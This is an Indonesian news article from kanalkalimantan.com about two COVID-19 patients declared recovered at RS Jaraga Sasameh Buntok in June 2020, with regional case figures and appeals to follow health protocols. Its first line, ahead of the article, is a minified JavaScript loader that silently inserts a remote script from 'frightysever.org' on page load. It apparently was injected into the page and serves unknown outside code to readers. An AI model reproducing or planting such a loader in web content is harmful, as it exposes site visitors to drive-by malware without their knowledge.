(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK– Gugus Tugas Covid-19 Barsel gelar press conference terkait dua pasien sembuh di RS Jaraga Sasameh Buntok.
Ketua Gugus Tugas Covid-19 melalui Sekretaris Gugus Eddy Purwanto mengatakan, dua dari enam orang pasien terkonfirmasi positif Covid-19 yang tengah menjalani perawatan di RS Jarse Buntok, dinyatakan sembuh berdasarkan hasil pemeriksaan swab.
“Jadi setelah menerima hasil swab dua pasien yang sedang dirawat di RS Jarse Buntok, dinyatakan sembuh dan kini bisa kembali ke keluarganya,” kata Eddy di Aula Setda Barsel, Selasa (16/6/2020).
Ia mengatakan, meskipun hanya berstatus rumah sakit darurat, RS yang baru saja mendapatkan predikat paripurna tipe C itu, menorehkan prestasi dalam dunia medis. Dua orang pasien Covid-19 asal Desa Rangga Ilung, Kecamatan Jenamas berinisial S dan asal Desa Muara Puning, Kecamatan Dusun Hilir berinisial YC, berhasil disembuhkan berdasarkan laporan hasil pemeriksaan swab dari laboratorium mikrobiologi Palangka Raya, sebanyak dua kali berturut-turut.
“Kita sangat bangga dengan rumah sakit kita walau hanya berstatus RS Rujukan namun sudah berhasil menyembuhkan pasien Covid-19 yang ada di Barsel. Dengan penambahan dua orang tersebut, RSJS sudah mencatatkan total lima orang pasien Covid-19 sembuh dalam perawatan selama ini,” beber Eddy.
Sementara Dirut RS Jarse Buntok dr Leonardus P. Lubis mengungkapkan, saat ini tengah merawat tujuh orang pasien, yakni satu orang pasien berinisial A berstatus pasien dalam pengawasan (PDP), enam orang pasien terkonfirmasi positif Covid-19, Yakni S, YC, S, S, S dan M. “Hari ini ada dua pasien kita yang sudah dinyatakan sembuh, yakni S dan YC, rencananya keduanya siang ini akan kita pulangkan,” beber Leo.
Lebih lanjut olehnya menerangkan bahwa S dinyatakan sembuh setelah negatif covid-19 dari hasil swab keempat dan kelima, sedangkan YC dinyatakan sembuh setelah terbukti negatif pada hasil swab kelima dan keenam kalinya.
Sementara itu, dua orang pasien berjenis kelamin perempuan asal Desa Tanjung Jawa, Kecamatan Dusel yakni M dan S masih menunggu hasil pemeriksaan swab ketujuh dan kedelapan, karena hingga enam kali swab mereka tetap dinyatakan positif. “Jadi untuk S dan YC kita nyatakan sembuh setelah melihat hasil swab mereka dua kali berturut-turut negatif covid-19 dan untuk pasien M dan S kita masih menunggu dalam waktu dekat hasil swab mereka dalam waktu dekat akan keluar semoga hasilnya juga negatif,” ujar Leo.
Sedangkan satu pasien lainnya, yakni pasien berjenis kelamin pria berninisial S, warga Kelurahan Rantau Kujang, Kecamatan Jenamas, yang merupakan pasien rujukan dari RS Tanjung Tabalong itu, masih menunggu hasil swab kedua dan ketiga. Sebab pada swab pertama yang dilakukan oleh RS Tanjung Tabalong, yang bersangkutan dinyatakan positif Covid-19.
“Sementara satu pasien asal desa Tanjung Jawa lainnya, yakni S berjenis kelamin perempuan karena pada swab kelima dinyatakan negatif, saat ini sembari menunggu hasil swab keenam, ia dipindahkan ke ruang isolasi lainnya,” tutur Leo.
Di sisi lain, pasien berstatus PDP berinisial A, sengaja ditempatkan di ruangan perawatan terpisah dari yang terkonfirmasi positif agar tidak tertular. Namun karena berdasarkan hasil pemeriksaan swab yang bersangkutan dinyatakan negatif Covid-19, PDP maka A hanya dirawat selama dua hari yakni sejak tanggal 11 Juni 2020 sampai 13 Juni 2020, ia kemudian dipulangkan dan tidak dirawat di RSJS.
“Kami tekankan, RSJS hanya merawat pasien positif, contohnya adalah A yang berstatus PDP, dia masuk tanggal 11 Juni 2020, namun saat di swab dinyatakan negatif, hanya dua hari di RS dia boleh pulang,” tegas Leo.
Sementara juru bicara GTPPC-19 Barsel, dr. Djulita Kurniadia Palar menambahkan selama dua bulan terakhir, mencatatkan adanya tren penurunan kasus covid-19. Dari data yang berhasil dihimpun GTPPC-19 yang diumumkan setiap hari melalui website pemda, dua bulan sebelumnya atau tepatnya pada bulan Mei, Barsel mencatatkan jumlah orang tanpa gejala (OTG) sebanyak 224 orang, orang dalam pemantauan (ODP) menyentuh angka 72 orang, PDP sebanyak tujuh orang dan sebanyak 11 orang positif dalam perawatan.
“Saat ini ODP di Barsel hanya tersisa tujuh orang, PDP sejumlah tiga orang. Kemudian, dari total pasien terkonfirmasi positif covid-19 sebanyak 16 orang, berhasil disembuhkan 12 orang dan kini hanya tersisa empat orang dalam perawatan,” ungkap Djul.
Meskipun begitu, ia tetap meminta kepada seluruh komponen masyarakat untuk terus disiplin menjalankan protokol kesehatan, yakni menggunakan masker, sering-sering cuci pakai sabun, tetap menerapkan jagar jarak dengan menjauhi kerumunan, rajin berolahraga dan selalu mengkonsumsi makanan bergizi, yang didefinisikannya dengan sebutan empat sehat lima sempurna.
“Karena bukan tidak mungkin, bila kita lalai maka akan terjadi gelombang kedua penyebaran wabah. Tapi, apabila kita terus disiplin menjalankan yang saya sebutkan sebagai langkah empat sehat lima sempurna tadi, maka dalam waktu dekat kita bisa kembali ke zona hijau,” pungkas Djul.(kanalkalimantan.com/digdo)
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar Gebyar Pemberdayaan Masyarakat Desa, Kamis (12/12/2024) siang di… Read More
KANALKALIMANTAN.COM, MARTAPURA - Dinas Pekerjaan Umum, Penataan Ruang dan Pertanahan (PUPRP) Kabupaten Banjar menggelar pertemuan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rumah Sakit Daerah (RSD) Idaman Banjarbaru berhasil meraih peringkat satu penghargaan Eco… Read More
KANALKALIMANTAN.COM, PARINGIN - Memastikan pemasangan dan kondisi lampu Penerangan Jalan Umum (PJU) berjalan dengan baik,… Read More
KANALKALIMANTAN.COM, BANJARBARU - Wali Kota dan Wakil Wali Kota Banjarbaru menyatukan suara bersama masyarakat Kota… Read More
This website uses cookies.